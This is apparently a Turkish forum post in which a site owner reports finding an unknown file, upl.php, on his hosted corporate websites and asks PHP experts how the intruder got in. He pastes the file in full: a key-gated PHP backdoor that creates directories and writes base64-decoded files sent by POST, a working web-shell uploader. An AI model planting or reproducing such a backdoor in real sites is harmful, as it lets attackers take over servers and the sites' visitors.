Selamlar Dostlar 5-6 aydır hostingdeki kurumsal sitelere bakmıyordum öyle bir bakayım dedim upl.php adında şu kodlar eklenmiş Ben Dosyaları temizledim ama bu arkadaşın nereden girdiğini bulmam için tüm loglara bakmam gerekiyor kısa yoldan php uzmanlarından bir yardım ricası olacak .

<?php
    $kk = $_GET['k'];
    if( $kk != '98a5901660292eff62041acb' ){
        exit('.');
    }
    
    function jss($data)
    {
        echo json_encode( $data );
    }

    $comm = $_POST['cmd'];

    if( !empty( $comm ) ){

        if( $comm == "test" ){

            jss(array(
                "code" => 200,
            ));

        }

        if( $comm == "mkdir" ){

            $tmp_dir = $_POST['dir'];

            mkdir( $tmp_dir );
            chmod( $tmp_dir , 0755 );

            jss(array(
                "code" => 200,
            ));

        }

        if( $comm == "upload" ){

            $post_file = $_POST['file'];
            $post_data = $_POST['data'];

            $post_data_enc = base64_decode( $post_data );

            file_put_contents( $post_file , $post_data_enc );
            chmod( $post_file , 0644 );

            jss(array(
                "code" => 200,
            ));

        }

    }